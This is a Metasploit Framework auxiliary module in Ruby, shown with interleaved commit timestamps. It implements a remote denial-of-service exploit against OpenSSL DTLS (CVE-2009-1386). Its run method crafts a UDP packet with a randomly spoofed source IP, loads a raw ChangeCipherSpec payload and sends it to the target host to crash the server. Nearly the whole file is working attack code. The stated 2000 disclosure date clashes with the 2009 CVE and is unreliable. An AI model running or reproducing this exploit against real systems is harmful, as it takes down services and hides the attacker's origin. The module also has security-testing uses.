2011-05-04 19:08:28 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
include Msf::Exploit::Capture
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit',
|
|
|
|
'Description' => %q{
|
|
|
|
This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
|
|
|
|
version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
|
|
|
|
ChangeCipherspec Datagram before a ClientHello.
|
|
|
|
},
|
|
|
|
'Author' => ['TheLightCosine <thelightcosine@gmail.com>'],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2011-07-21 01:10:40 +00:00
|
|
|
[ 'CVE', '2009-1386' ],
|
|
|
|
[ 'OSVDB', '55073'],
|
2011-05-04 19:08:28 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 26 2000'))
|
|
|
|
|
|
|
|
deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
open_pcap
|
2011-07-27 20:21:47 +00:00
|
|
|
print_status("Creating DTLS ChangeCipherSpec Datagram...")
|
2011-07-26 01:29:21 +00:00
|
|
|
p = PacketFu::UDPPacket.new
|
|
|
|
p.ip_daddr = datastore['RHOST']
|
|
|
|
p.ip_src = rand(0x100000000)
|
|
|
|
p.ip_ttl = 44
|
|
|
|
p.udp_sport = 34060
|
|
|
|
p.udp_dport = datastore['RPORT'].to_i
|
|
|
|
p.payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"
|
|
|
|
p.recalc
|
2011-05-04 19:08:28 +00:00
|
|
|
print_status("Sending Datagram to target...")
|
2011-07-26 01:29:21 +00:00
|
|
|
capture_sendto(p, '255.255.255.255')
|
2011-05-04 19:08:28 +00:00
|
|
|
close_pcap
|
|
|
|
end
|
|
|
|
end
|